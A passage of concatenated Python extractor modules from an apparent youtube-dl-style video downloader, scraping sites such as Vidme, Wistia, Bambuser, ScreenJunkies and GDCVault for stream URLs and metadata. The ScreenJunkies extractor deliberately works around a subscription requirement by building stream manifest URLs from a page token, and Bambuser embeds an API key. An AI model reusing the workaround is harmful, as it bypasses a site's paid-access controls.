            'http://www.pinkbike.com/video/%s' % video_id, video_id)

        formats = []
        for _, format_id, src in re.findall(
                r'data-quality=((?:\\)?["\'])(.+?)\1[^>]+src=\1(.+?)\1', webpage):
            height = int_or_none(self._search_regex(
                r'^(\d+)[pP]$', format_id, 'height', default=None))
            formats.append({
                'url': src,
                'format_id': format_id,
                'height': height,
            })
        self._sort_formats(formats)

        title = remove_end(self._og_search_title(webpage), ' Video - Pinkbike')
        description = self._html_search_regex(
            r'(?s)id="media-description"[^>]*>(.+?)<',
            webpage, 'description', default=None) or remove_start(
            self._og_search_description(webpage), title + '. ')
        thumbnail = self._og_search_thumbnail(webpage)
        duration = int_or_none(self._html_search_meta(
            'video:duration', webpage, 'duration'))

        uploader = self._search_regex(
            r'un:\s*"([^"]+)"', webpage, 'uploader', fatal=False)
        upload_date = unified_strdate(self._search_regex(
            r'class="fullTime"[^>]+title="([^"]+)"',
            webpage, 'upload date', fatal=False))

        location = self._html_search_regex(
            r'(?s)<dt>Location</dt>\s*<dd>(.+?)<',
            webpage, 'location', fatal=False)

        def extract_count(webpage, label):
            return str_to_int(self._search_regex(
                r'<span[^>]+class="stat-num"[^>]*>([\d,.]+)</span>\s*<span[^>]+class="stat-label"[^>]*>%s' % label,
                webpage, label, fatal=False))

        view_count = extract_count(webpage, 'Views')
        comment_count = extract_count(webpage, 'Comments')

        return {
            'id': video_id,
            'title': title,
            'description': description,
            'thumbnail': thumbnail,
            'duration': duration,
            'upload_date': upload_date,
            'uploader': uploader,
            'location': location,
            'view_count': view_count,
            'comment_count': comment_count,
            'formats': formats
        }






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    ExtractorError,
    sanitized_Request,
    urlencode_postdata,
    xpath_text,
    xpath_with_ns,
)

_x = lambda p: xpath_with_ns(p, {'xspf': 'http://xspf.org/ns/0/'})


class NosVideoIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?nosvideo\.com/' + \
                 '(?:embed/|\?v=)(?P<id>[A-Za-z0-9]{12})/?'
    _PLAYLIST_URL = 'http://nosvideo.com/xml/{xml_id:s}.xml'
    _FILE_DELETED_REGEX = r'<b>File Not Found</b>'
    _TEST = {
        'url': 'http://nosvideo.com/?v=mu8fle7g7rpq',
        'md5': '6124ed47130d8be3eacae635b071e6b6',
        'info_dict': {
            'id': 'mu8fle7g7rpq',
            'ext': 'mp4',
            'title': 'big_buck_bunny_480p_surround-fix.avi.mp4',
            'thumbnail': 're:^https?://.*\.jpg$',
        }
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)

        fields = {
            'id': video_id,
            'op': 'download1',
            'method_free': 'Continue to Video',
        }
        req = sanitized_Request(url, urlencode_postdata(fields))
        req.add_header('Content-type', 'application/x-www-form-urlencoded')
        webpage = self._download_webpage(req, video_id,
                                         'Downloading download page')
        if re.search(self._FILE_DELETED_REGEX, webpage) is not None:
            raise ExtractorError('Video %s does not exist' % video_id,
                                 expected=True)

        xml_id = self._search_regex(r'php\|([^\|]+)\|', webpage, 'XML ID')
        playlist_url = self._PLAYLIST_URL.format(xml_id=xml_id)
        playlist = self._download_xml(playlist_url, video_id)

        track = playlist.find(_x('.//xspf:track'))
        if track is None:
            raise ExtractorError(
                'XML playlist is missing the \'track\' element',
                expected=True)
        title = xpath_text(track, _x('./xspf:title'), 'title')
        url = xpath_text(track, _x('./xspf:file'), 'URL', fatal=True)
        thumbnail = xpath_text(track, _x('./xspf:image'), 'thumbnail')
        if title is not None:
            title = title.strip()

        formats = [{
            'format_id': 'sd',
            'url': url,
        }]

        return {
            'id': video_id,
            'title': title,
            'thumbnail': thumbnail,
            'formats': formats,
        }






from __future__ import unicode_literals

import itertools

from .common import InfoExtractor
from ..compat import compat_HTTPError
from ..utils import (
    ExtractorError,
    int_or_none,
    float_or_none,
    parse_iso8601,
)


class VidmeIE(InfoExtractor):
    IE_NAME = 'vidme'
    _VALID_URL = r'https?://vid\.me/(?:e/)?(?P<id>[\da-zA-Z]{,5})(?:[^\da-zA-Z]|$)'
    _TESTS = [{
        'url': 'https://vid.me/QNB',
        'md5': 'f42d05e7149aeaec5c037b17e5d3dc82',
        'info_dict': {
            'id': 'QNB',
            'ext': 'mp4',
            'title': 'Fishing for piranha - the easy way',
            'description': 'source: https://www.facebook.com/photo.php?v=312276045600871',
            'thumbnail': 're:^https?://.*\.jpg',
            'timestamp': 1406313244,
            'upload_date': '20140725',
            'age_limit': 0,
            'duration': 119.92,
            'view_count': int,
            'like_count': int,
            'comment_count': int,
        },
    }, {
        'url': 'https://vid.me/Gc6M',
        'md5': 'f42d05e7149aeaec5c037b17e5d3dc82',
        'info_dict': {
            'id': 'Gc6M',
            'ext': 'mp4',
            'title': 'O Mere Dil ke chain - Arnav and Khushi VM',
            'thumbnail': 're:^https?://.*\.jpg',
            'timestamp': 1441211642,
            'upload_date': '20150902',
            'uploader': 'SunshineM',
            'uploader_id': '3552827',
            'age_limit': 0,
            'duration': 223.72,
            'view_count': int,
            'like_count': int,
            'comment_count': int,
        },
        'params': {
            'skip_download': True,
        },
    }, {
        # tests uploader field
        'url': 'https://vid.me/4Iib',
        'info_dict': {
            'id': '4Iib',
            'ext': 'mp4',
            'title': 'The Carver',
            'description': 'md5:e9c24870018ae8113be936645b93ba3c',
            'thumbnail': 're:^https?://.*\.jpg',
            'timestamp': 1433203629,
            'upload_date': '20150602',
            'uploader': 'Thomas',
            'uploader_id': '109747',
            'age_limit': 0,
            'duration': 97.859999999999999,
            'view_count': int,
            'like_count': int,
            'comment_count': int,
        },
        'params': {
            'skip_download': True,
        },
    }, {
        # nsfw test from http://naked-yogi.tumblr.com/post/118312946248/naked-smoking-stretching
        'url': 'https://vid.me/e/Wmur',
        'info_dict': {
            'id': 'Wmur',
            'ext': 'mp4',
            'title': 'naked smoking & stretching',
            'thumbnail': 're:^https?://.*\.jpg',
            'timestamp': 1430931613,
            'upload_date': '20150506',
            'uploader': 'naked-yogi',
            'uploader_id': '1638622',
            'age_limit': 18,
            'duration': 653.26999999999998,
            'view_count': int,
            'like_count': int,
            'comment_count': int,
        },
        'params': {
            'skip_download': True,
        },
    }, {
        # nsfw, user-disabled
        'url': 'https://vid.me/dzGJ',
        'only_matching': True,
    }, {
        # suspended
        'url': 'https://vid.me/Ox3G',
        'only_matching': True,
    }, {
        # deleted
        'url': 'https://vid.me/KTPm',
        'only_matching': True,
    }, {
        # no formats in the API response
        'url': 'https://vid.me/e5g',
        'info_dict': {
            'id': 'e5g',
            'ext': 'mp4',
            'title': 'Video upload (e5g)',
            'thumbnail': 're:^https?://.*\.jpg',
            'timestamp': 1401480195,
            'upload_date': '20140530',
            'uploader': None,
            'uploader_id': None,
            'age_limit': 0,
            'duration': 483,
            'view_count': int,
            'like_count': int,
            'comment_count': int,
        },
        'params': {
            'skip_download': True,
        },
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)

        try:
            response = self._download_json(
                'https://api.vid.me/videoByUrl/%s' % video_id, video_id)
        except ExtractorError as e:
            if isinstance(e.cause, compat_HTTPError) and e.cause.code == 400:
                response = self._parse_json(e.cause.read(), video_id)
            else:
                raise

        error = response.get('error')
        if error:
            raise ExtractorError(
                '%s returned error: %s' % (self.IE_NAME, error), expected=True)

        video = response['video']

        if video.get('state') == 'deleted':
            raise ExtractorError(
                'Vidme said: Sorry, this video has been deleted.',
                expected=True)

        if video.get('state') in ('user-disabled', 'suspended'):
            raise ExtractorError(
                'Vidme said: This video has been suspended either due to a copyright claim, '
                'or for violating the terms of use.',
                expected=True)

        formats = [{
            'format_id': f.get('type'),
            'url': f['uri'],
            'width': int_or_none(f.get('width')),
            'height': int_or_none(f.get('height')),
            'preference': 0 if f.get('type', '').endswith('clip') else 1,
        } for f in video.get('formats', []) if f.get('uri')]

        if not formats and video.get('complete_url'):
            formats.append({
                'url': video.get('complete_url'),
                'width': int_or_none(video.get('width')),
                'height': int_or_none(video.get('height')),
            })

        self._sort_formats(formats)

        title = video['title']
        description = video.get('description')
        thumbnail = video.get('thumbnail_url')
        timestamp = parse_iso8601(video.get('date_created'), ' ')
        uploader = video.get('user', {}).get('username')
        uploader_id = video.get('user', {}).get('user_id')
        age_limit = 18 if video.get('nsfw') is True else 0
        duration = float_or_none(video.get('duration'))
        view_count = int_or_none(video.get('view_count'))
        like_count = int_or_none(video.get('likes_count'))
        comment_count = int_or_none(video.get('comment_count'))

        return {
            'id': video_id,
            'title': title or 'Video upload (%s)' % video_id,
            'description': description,
            'thumbnail': thumbnail,
            'uploader': uploader,
            'uploader_id': uploader_id,
            'age_limit': age_limit,
            'timestamp': timestamp,
            'duration': duration,
            'view_count': view_count,
            'like_count': like_count,
            'comment_count': comment_count,
            'formats': formats,
        }


class VidmeListBaseIE(InfoExtractor):
    # Max possible limit according to https://docs.vid.me/#api-Videos-List
    _LIMIT = 100

    def _entries(self, user_id, user_name):
        for page_num in itertools.count(1):
            page = self._download_json(
                'https://api.vid.me/videos/%s?user=%s&limit=%d&offset=%d'
                % (self._API_ITEM, user_id, self._LIMIT, (page_num - 1) * self._LIMIT),
                user_name, 'Downloading user %s page %d' % (self._API_ITEM, page_num))

            videos = page.get('videos', [])
            if not videos:
                break

            for video in videos:
                video_url = video.get('full_url') or video.get('embed_url')
                if video_url:
                    yield self.url_result(video_url, VidmeIE.ie_key())

            total = int_or_none(page.get('page', {}).get('total'))
            if total and self._LIMIT * page_num >= total:
                break

    def _real_extract(self, url):
        user_name = self._match_id(url)

        user_id = self._download_json(
            'https://api.vid.me/userByUsername?username=%s' % user_name,
            user_name)['user']['user_id']

        return self.playlist_result(
            self._entries(user_id, user_name), user_id,
            '%s - %s' % (user_name, self._TITLE))


class VidmeUserIE(VidmeListBaseIE):
    IE_NAME = 'vidme:user'
    _VALID_URL = r'https?://vid\.me/(?:e/)?(?P<id>[\da-zA-Z]{6,})(?!/likes)(?:[^\da-zA-Z]|$)'
    _API_ITEM = 'list'
    _TITLE = 'Videos'
    _TEST = {
        'url': 'https://vid.me/EFARCHIVE',
        'info_dict': {
            'id': '3834632',
            'title': 'EFARCHIVE - %s' % _TITLE,
        },
        'playlist_mincount': 238,
    }


class VidmeUserLikesIE(VidmeListBaseIE):
    IE_NAME = 'vidme:user:likes'
    _VALID_URL = r'https?://vid\.me/(?:e/)?(?P<id>[\da-zA-Z]{6,})/likes'
    _API_ITEM = 'likes'
    _TITLE = 'Likes'
    _TEST = {
        'url': 'https://vid.me/ErinAlexis/likes',
        'info_dict': {
            'id': '6483530',
            'title': 'ErinAlexis - %s' % _TITLE,
        },
        'playlist_mincount': 415,
    }






from __future__ import unicode_literals

from .common import InfoExtractor
from ..utils import (
    ExtractorError,
    int_or_none,
    float_or_none,
)


class WistiaIE(InfoExtractor):
    _VALID_URL = r'(?:wistia:|https?://(?:fast\.)?wistia\.net/embed/iframe/)(?P<id>[a-z0-9]+)'
    _API_URL = 'http://fast.wistia.com/embed/medias/%s.json'
    _IFRAME_URL = 'http://fast.wistia.net/embed/iframe/%s'

    _TESTS = [{
        'url': 'http://fast.wistia.net/embed/iframe/sh7fpupwlt',
        'md5': 'cafeb56ec0c53c18c97405eecb3133df',
        'info_dict': {
            'id': 'sh7fpupwlt',
            'ext': 'mov',
            'title': 'Being Resourceful',
            'description': 'a Clients From Hell Video Series video from worldwidewebhosting',
            'upload_date': '20131204',
            'timestamp': 1386185018,
            'duration': 117,
        },
    }, {
        'url': 'wistia:sh7fpupwlt',
        'only_matching': True,
    }, {
        # with hls video
        'url': 'wistia:807fafadvk',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)

        data_json = self._download_json(
            self._API_URL % video_id, video_id,
            # Some videos require this.
            headers={
                'Referer': url if url.startswith('http') else self._IFRAME_URL % video_id,
            })

        if data_json.get('error'):
            raise ExtractorError(
                'Error while getting the playlist', expected=True)

        data = data_json['media']
        title = data['name']

        formats = []
        thumbnails = []
        for a in data['assets']:
            aurl = a.get('url')
            if not aurl:
                continue
            astatus = a.get('status')
            atype = a.get('type')
            if (astatus is not None and astatus != 2) or atype in ('preview', 'storyboard'):
                continue
            elif atype in ('still', 'still_image'):
                thumbnails.append({
                    'url': aurl,
                    'width': int_or_none(a.get('width')),
                    'height': int_or_none(a.get('height')),
                })
            else:
                aext = a.get('ext')
                is_m3u8 = a.get('container') == 'm3u8' or aext == 'm3u8'
                formats.append({
                    'format_id': atype,
                    'url': aurl,
                    'tbr': int_or_none(a.get('bitrate')),
                    'vbr': int_or_none(a.get('opt_vbitrate')),
                    'width': int_or_none(a.get('width')),
                    'height': int_or_none(a.get('height')),
                    'filesize': int_or_none(a.get('size')),
                    'vcodec': a.get('codec'),
                    'container': a.get('container'),
                    'ext': 'mp4' if is_m3u8 else aext,
                    'protocol': 'm3u8' if is_m3u8 else None,
                    'preference': 1 if atype == 'original' else None,
                })

        self._sort_formats(formats)

        return {
            'id': video_id,
            'title': title,
            'description': data.get('seoDescription'),
            'formats': formats,
            'thumbnails': thumbnails,
            'duration': float_or_none(data.get('duration')),
            'timestamp': int_or_none(data.get('createdAt')),
        }






# coding: utf-8
from __future__ import unicode_literals

import re

from .jwplatform import JWPlatformBaseIE
from ..utils import (
    js_to_json,
    get_element_by_class,
    unified_strdate,
)


class RudoIE(JWPlatformBaseIE):
    _VALID_URL = r'https?://rudo\.video/vod/(?P<id>[0-9a-zA-Z]+)'

    _TEST = {
        'url': 'http://rudo.video/vod/oTzw0MGnyG',
        'md5': '2a03a5b32dd90a04c83b6d391cf7b415',
        'info_dict': {
            'id': 'oTzw0MGnyG',
            'ext': 'mp4',
            'title': 'Comentario Tomás Mosciatti',
            'upload_date': '20160617',
        },
    }

    @classmethod
    def _extract_url(self, webpage):
        mobj = re.search(
            '<iframe[^>]+src=(?P<q1>[\'"])(?P<url>(?:https?:)?//rudo\.video/vod/[0-9a-zA-Z]+)(?P=q1)',
            webpage)
        if mobj:
            return mobj.group('url')

    def _real_extract(self, url):
        video_id = self._match_id(url)

        webpage = self._download_webpage(url, video_id, encoding='iso-8859-1')

        jwplayer_data = self._parse_json(self._search_regex(
            r'(?s)playerInstance\.setup\(({.+?})\)', webpage, 'jwplayer data'), video_id,
            transform_source=lambda s: js_to_json(re.sub(r'encodeURI\([^)]+\)', '""', s)))

        info_dict = self._parse_jwplayer_data(
            jwplayer_data, video_id, require_title=False, m3u8_id='hls')

        info_dict.update({
            'title': self._og_search_title(webpage),
            'upload_date': unified_strdate(get_element_by_class('date', webpage)),
        })

        return info_dict






from __future__ import unicode_literals

import re
import itertools

from .common import InfoExtractor
from ..compat import compat_str
from ..utils import (
    ExtractorError,
    float_or_none,
    int_or_none,
    sanitized_Request,
    urlencode_postdata,
)


class BambuserIE(InfoExtractor):
    IE_NAME = 'bambuser'
    _VALID_URL = r'https?://bambuser\.com/v/(?P<id>\d+)'
    _API_KEY = '005f64509e19a868399060af746a00aa'
    _LOGIN_URL = 'https://bambuser.com/user'
    _NETRC_MACHINE = 'bambuser'

    _TEST = {
        'url': 'http://bambuser.com/v/4050584',
        # MD5 seems to be flaky, see https://travis-ci.org/rg3/youtube-dl/jobs/14051016#L388
        # 'md5': 'fba8f7693e48fd4e8641b3fd5539a641',
        'info_dict': {
            'id': '4050584',
            'ext': 'flv',
            'title': 'Education engineering days - lightning talks',
            'duration': 3741,
            'uploader': 'pixelversity',
            'uploader_id': '344706',
            'timestamp': 1382976692,
            'upload_date': '20131028',
            'view_count': int,
        },
        'params': {
            # It doesn't respect the 'Range' header, it would download the whole video
            # caused the travis builds to fail: https://travis-ci.org/rg3/youtube-dl/jobs/14493845#L59
            'skip_download': True,
        },
    }

    def _login(self):
        (username, password) = self._get_login_info()
        if username is None:
            return

        login_form = {
            'form_id': 'user_login',
            'op': 'Log in',
            'name': username,
            'pass': password,
        }

        request = sanitized_Request(
            self._LOGIN_URL, urlencode_postdata(login_form))
        request.add_header('Referer', self._LOGIN_URL)
        response = self._download_webpage(
            request, None, 'Logging in as %s' % username)

        login_error = self._html_search_regex(
            r'(?s)<div class="messages error">(.+?)</div>',
            response, 'login error', default=None)
        if login_error:
            raise ExtractorError(
                'Unable to login: %s' % login_error, expected=True)

    def _real_initialize(self):
        self._login()

    def _real_extract(self, url):
        video_id = self._match_id(url)

        info = self._download_json(
            'http://player-c.api.bambuser.com/getVideo.json?api_key=%s&vid=%s'
            % (self._API_KEY, video_id), video_id)

        error = info.get('error')
        if error:
            raise ExtractorError(
                '%s returned error: %s' % (self.IE_NAME, error), expected=True)

        result = info['result']

        return {
            'id': video_id,
            'title': result['title'],
            'url': result['url'],
            'thumbnail': result.get('preview'),
            'duration': int_or_none(result.get('length')),
            'uploader': result.get('username'),
            'uploader_id': compat_str(result.get('owner', {}).get('uid')),
            'timestamp': int_or_none(result.get('created')),
            'fps': float_or_none(result.get('framerate')),
            'view_count': int_or_none(result.get('views_total')),
            'comment_count': int_or_none(result.get('comment_count')),
        }


class BambuserChannelIE(InfoExtractor):
    IE_NAME = 'bambuser:channel'
    _VALID_URL = r'https?://bambuser\.com/channel/(?P<user>.*?)(?:/|#|\?|$)'
    # The maximum number we can get with each request
    _STEP = 50
    _TEST = {
        'url': 'http://bambuser.com/channel/pixelversity',
        'info_dict': {
            'title': 'pixelversity',
        },
        'playlist_mincount': 60,
    }

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        user = mobj.group('user')
        urls = []
        last_id = ''
        for i in itertools.count(1):
            req_url = (
                'http://bambuser.com/xhr-api/index.php?username={user}'
                '&sort=created&access_mode=0%2C1%2C2&limit={count}'
                '&method=broadcast&format=json&vid_older_than={last}'
            ).format(user=user, count=self._STEP, last=last_id)
            req = sanitized_Request(req_url)
            # Without setting this header, we wouldn't get any result
            req.add_header('Referer', 'http://bambuser.com/channel/%s' % user)
            data = self._download_json(
                req, user, 'Downloading page %d' % i)
            results = data['result']
            if not results:
                break
            last_id = results[-1]['vid']
            urls.extend(self.url_result(v['page'], 'Bambuser') for v in results)

        return {
            '_type': 'playlist',
            'title': user,
            'entries': urls,
        }






from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..compat import compat_str
from ..utils import (
    int_or_none,
    parse_age_limit,
)


class ScreenJunkiesIE(InfoExtractor):
    _VALID_URL = r'https?://www.screenjunkies.com/video/(?P<display_id>[^/]+?)(?:-(?P<id>\d+))?(?:[/?#&]|$)'
    _TESTS = [{
        'url': 'http://www.screenjunkies.com/video/best-quentin-tarantino-movie-2841915',
        'md5': '5c2b686bec3d43de42bde9ec047536b0',
        'info_dict': {
            'id': '2841915',
            'display_id': 'best-quentin-tarantino-movie',
            'ext': 'mp4',
            'title': 'Best Quentin Tarantino Movie',
            'thumbnail': 're:^https?://.*\.jpg',
            'duration': 3671,
            'age_limit': 13,
            'tags': list,
        },
    }, {
        'url': 'http://www.screenjunkies.com/video/honest-trailers-the-dark-knight',
        'info_dict': {
            'id': '2348808',
            'display_id': 'honest-trailers-the-dark-knight',
            'ext': 'mp4',
            'title': "Honest Trailers: 'The Dark Knight'",
            'thumbnail': 're:^https?://.*\.jpg',
            'age_limit': 10,
            'tags': list,
        },
    }, {
        # requires subscription but worked around
        'url': 'http://www.screenjunkies.com/video/knocking-dead-ep-1-the-show-so-far-3003285',
        'info_dict': {
            'id': '3003285',
            'display_id': 'knocking-dead-ep-1-the-show-so-far',
            'ext': 'mp4',
            'title': 'Knocking Dead Ep 1: State of The Dead Recap',
            'thumbnail': 're:^https?://.*\.jpg',
            'duration': 3307,
            'age_limit': 13,
            'tags': list,
        },
    }]

    _DEFAULT_BITRATES = (48, 150, 496, 864, 2240)

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        video_id = mobj.group('id')
        display_id = mobj.group('display_id')

        if not video_id:
            webpage = self._download_webpage(url, display_id)
            video_id = self._search_regex(
                (r'src=["\']/embed/(\d+)', r'data-video-content-id=["\'](\d+)'),
                webpage, 'video id')

        webpage = self._download_webpage(
            'http://www.screenjunkies.com/embed/%s' % video_id,
            display_id, 'Downloading video embed page')
        embed_vars = self._parse_json(
            self._search_regex(
                r'(?s)embedVars\s*=\s*({.+?})\s*</script>', webpage, 'embed vars'),
            display_id)

        title = embed_vars['contentName']

        formats = []
        bitrates = []
        for f in embed_vars.get('media', []):
            if not f.get('uri') or f.get('mediaPurpose') != 'play':
                continue
            bitrate = int_or_none(f.get('bitRate'))
            if bitrate:
                bitrates.append(bitrate)
            formats.append({
                'url': f['uri'],
                'format_id': 'http-%d' % bitrate if bitrate else 'http',
                'width': int_or_none(f.get('width')),
                'height': int_or_none(f.get('height')),
                'tbr': bitrate,
                'format': 'mp4',
            })

        if not bitrates:
            # When subscriptionLevel > 0, i.e. plus subscription is required
            # media list will be empty. However, hds and hls uris are still
            # available. We can grab them assuming bitrates to be default.
            bitrates = self._DEFAULT_BITRATES

        auth_token = embed_vars.get('AuthToken')

        def construct_manifest_url(base_url, ext):
            pieces = [base_url]
            pieces.extend([compat_str(b) for b in bitrates])
            pieces.append('_kbps.mp4.%s?%s' % (ext, auth_token))
            return ','.join(pieces)

        if bitrates and auth_token:
            hds_url = embed_vars.get('hdsUri')
            if hds_url:
                f4m_formats = self._extract_f4m_formats(
                    construct_manifest_url(hds_url, 'f4m'),
                    display_id, f4m_id='hds', fatal=False)
                if len(f4m_formats) == len(bitrates):
                    for f, bitrate in zip(f4m_formats, bitrates):
                        if not f.get('tbr'):
                            f['format_id'] = 'hds-%d' % bitrate
                            f['tbr'] = bitrate
                # TODO: fix f4m downloader to handle manifests without bitrates if possible
                # formats.extend(f4m_formats)

            hls_url = embed_vars.get('hlsUri')
            if hls_url:
                formats.extend(self._extract_m3u8_formats(
                    construct_manifest_url(hls_url, 'm3u8'),
                    display_id, 'mp4', entry_protocol='m3u8_native', m3u8_id='hls', fatal=False))
        self._sort_formats(formats)

        return {
            'id': video_id,
            'display_id': display_id,
            'title': title,
            'thumbnail': embed_vars.get('thumbUri'),
            'duration': int_or_none(embed_vars.get('videoLengthInSeconds')) or None,
            'age_limit': parse_age_limit(embed_vars.get('audienceRating')),
            'tags': embed_vars.get('tags', '').split(','),
            'formats': formats,
        }






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    int_or_none,
    parse_duration,
    parse_iso8601,
)


class AirMozillaIE(InfoExtractor):
    _VALID_URL = r'https?://air\.mozilla\.org/(?P<id>[0-9a-z-]+)/?'
    _TEST = {
        'url': 'https://air.mozilla.org/privacy-lab-a-meetup-for-privacy-minded-people-in-san-francisco/',
        'md5': '2e3e7486ba5d180e829d453875b9b8bf',
        'info_dict': {
            'id': '6x4q2w',
            'ext': 'mp4',
            'title': 'Privacy Lab - a meetup for privacy minded people in San Francisco',
            'thumbnail': 're:https?://vid\.ly/(?P<id>[0-9a-z-]+)/poster',
            'description': 'Brings together privacy professionals and others interested in privacy at for-profits, non-profits, and NGOs in an effort to contribute to the state of the ecosystem...',
            'timestamp': 1422487800,
            'upload_date': '20150128',
            'location': 'SFO Commons',
            'duration': 3780,
            'view_count': int,
            'categories': ['Main', 'Privacy'],
        }
    }

    def _real_extract(self, url):
        display_id = self._match_id(url)
        webpage = self._download_webpage(url, display_id)
        video_id = self._html_search_regex(r'//vid.ly/(.*?)/embed', webpage, 'id')

        embed_script = self._download_webpage('https://vid.ly/{0}/embed'.format(video_id), video_id)
        jwconfig = self._search_regex(r'\svar jwconfig = (\{.*?\});\s', embed_script, 'metadata')
        metadata = self._parse_json(jwconfig, video_id)

        formats = [{
            'url': source['file'],
            'ext': source['type'],
            'format_id': self._search_regex(r'&format=(.*)$', source['file'], 'video format'),
            'format': source['label'],
            'height': int(source['label'].rstrip('p')),
        } for source in metadata['playlist'][0]['sources']]
        self._sort_formats(formats)

        view_count = int_or_none(self._html_search_regex(
            r'Views since archived: ([0-9]+)',
            webpage, 'view count', fatal=False))
        timestamp = parse_iso8601(self._html_search_regex(
            r'<time datetime="(.*?)"', webpage, 'timestamp', fatal=False))
        duration = parse_duration(self._search_regex(
            r'Duration:\s*(\d+\s*hours?\s*\d+\s*minutes?)',
            webpage, 'duration', fatal=False))

        return {
            'id': video_id,
            'title': self._og_search_title(webpage),
            'formats': formats,
            'url': self._og_search_url(webpage),
            'display_id': display_id,
            'thumbnail': metadata['playlist'][0].get('image'),
            'description': self._og_search_description(webpage),
            'timestamp': timestamp,
            'location': self._html_search_regex(r'Location: (.*)', webpage, 'location', default=None),
            'duration': duration,
            'view_count': view_count,
            'categories': re.findall(r'<a href=".*?" class="channel">(.*?)</a>', webpage),
        }






from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    HEADRequest,
    sanitized_Request,
    urlencode_postdata,
)


class GDCVaultIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?gdcvault\.com/play/(?P<id>\d+)/(?P<name>(\w|-)+)?'
    _NETRC_MACHINE = 'gdcvault'
    _TESTS = [
        {
            'url': 'http://www.gdcvault.com/play/1019721/Doki-Doki-Universe-Sweet-Simple',
            'md5': '7ce8388f544c88b7ac11c7ab1b593704',
            'info_dict': {
                'id': '1019721',
                'display_id': 'Doki-Doki-Universe-Sweet-Simple',
                'ext': 'mp4',
                'title': 'Doki-Doki Universe: Sweet, Simple and Genuine (GDC Next 10)'
            }
        },
        {
            'url': 'http://www.gdcvault.com/play/1015683/Embracing-the-Dark-Art-of',
            'info_dict': {
                'id': '1015683',
                'display_id': 'Embracing-the-Dark-Art-of',
                'ext': 'flv',
                'title': 'Embracing the Dark Art of Mathematical Modeling in AI'
            },
            'params': {
                'skip_download': True,  # Requires rtmpdump
            }
        },
        {
            'url': 'http://www.gdcvault.com/play/1015301/Thexder-Meets-Windows-95-or',
            'md5': 'a5eb77996ef82118afbbe8e48731b98e',
            'info_dict': {
                'id': '1015301',
                'display_id': 'Thexder-Meets-Windows-95-or',
                'ext': 'flv',
                'title': 'Thexder Meets Windows 95, or Writing Great Games in the Windows 95 Environment',
            },
            'skip': 'Requires login',
        },
        {
            'url': 'http://gdcvault.com/play/1020791/',
            'only_matching': True,
        },
        {
            # Hard-coded hostname
            'url': 'http://gdcvault.com/play/1023460/Tenacious-Design-and-The-Interface',
            'md5': 'a8efb6c31ed06ca8739294960b2dbabd',
            'info_dict': {
                'id': '1023460',
                'ext': 'mp4',
                'display_id': 'Tenacious-Design-and-The-Interface',
                'title': 'Tenacious Design and The Interface of \'Destiny\'',
            },
        },
        {
            # Multiple audios
            'url': 'http://www.gdcvault.com/play/1014631/Classic-Game-Postmortem-PAC',
            'info_dict': {
                'id': '1014631',
                'ext': 'flv',
                'title': 'How to Create a Good Game - From My Experience of Designing Pac-Man',
            },
            'params': {
                'skip_download': True,  # Requires rtmpdump
                'format': 'jp',  # The japanese audio
            }
        },
    ]

    def _login(self, webpage_url, display_id):
        (username, password) = self._get_login_info()
        if username is None or password is None:
            self.report_warning('It looks like ' + webpage_url + ' requires a login. Try specifying a username and password and try again.')
            return None

        mobj = re.match(r'(?P<root_url>https?://.*?/).*', webpage_url)
        login_url = mobj.group('root_url') + 'api/login.php'
        logout_url = mobj.group('root_url') + 'logout'

        login_form = {
            'email': username,
            'password': password,
        }

        request = sanitized_Request(login_url, urlencode_postdata(login_form))
        request.add_header('Content-Type', 'application/x-www-form-urlencoded')
        self._download_webpage(request, display_id, 'Logging in')
        start_page = self._download_webpage(webpage_url, display_id, 'Getting authenticated video page')
        self._download_webpage(logout_url, display_id, 'Logging out')

        return start_page

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)

        video_id = mobj.group('id')
        display_id = mobj.group('name') or video_id

        webpage_url = 'http://www.gdcvault.com/play/' + video_id
        start_page = self._download_webpage(webpage_url, display_id)

        direct_url = self._search_regex(
            r's1\.addVariable\("file",\s*encodeURIComponent\("(/[^"]+)"\)\);',
            start_page, 'url', default=None)
        if direct_url:
            title = self._html_search_regex(
                r'<td><strong>Session Name</strong></td>\s*<td>(.*?)</td>',
                start_page, 'title')
            video_url = 'http://www.gdcvault.com' + direct_url
            # resolve the url so that we can detect the correct extension
            head = self._request_webpage(HEADRequest(video_url), video_id)
            video_url = head.geturl()

            return {
                'id': video_id,
                'display_id': display_id,
                'url': video_url,
                'title': title,
            }

        PLAYER_REGEX = r'<iframe src="(?P<xml_root>.+?)/player.*?\.html.*?".*?</iframe>'

        xml_root = self._html_search_regex(
            PLAYER_REGEX, start_page, 'xml root', default=None)
        if xml_root is None:
            # Probably need to authenticate
            login_res = self._login(webpage_url, display_id)
            if login_res is None:
                self.report_warning('Could not login.')
            else:
                start_page = login_res
                # Grab the url from the authenticated page
                xml_root = self._html_search_regex(
                    PLAYER_REGEX, start_page, 'xml root')

        xml_name = self._html_search_regex(
            r'<iframe src=".*?\?xml=(.+?\.xml).*?".*?</iframe>',
            start_page, 'xml filename', default=None)
        if xml_name is None:
            # Fallback to the older format
            xml_name = self._html_search_regex(
                r'<iframe src=".*?\?xmlURL=xml/(?P<xml_file>.+?\.xml).*?".*?</iframe>',
                start_page, 'xml filename')

        return {
            '_type': 'url_transparent',
            'id': video_id,
            'display_id': display_id,
            'url': '%s/xml/%s' % (xml_root, xml_name),
            'ie_key': 'DigitallySpeaking',
        }






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    ExtractorError,
    int_or_none,
    xpath_text,
    qualities,
)


class PladformIE(InfoExtractor):
    _VALID_URL = r'''(?x)
                    https?://
                        (?:
                            (?:
                                out\.pladform\.ru/player|
                                static\.pladform\.ru/player\.swf
                            )
                            \?.*\bvideoid=|
                            video\.pladform\.ru/catalog/video/videoid/
                        )
                        (?P<id>\d+)
                    '''
    _TESTS = [{
        # http://muz-tv.ru/kinozal/view/7400/
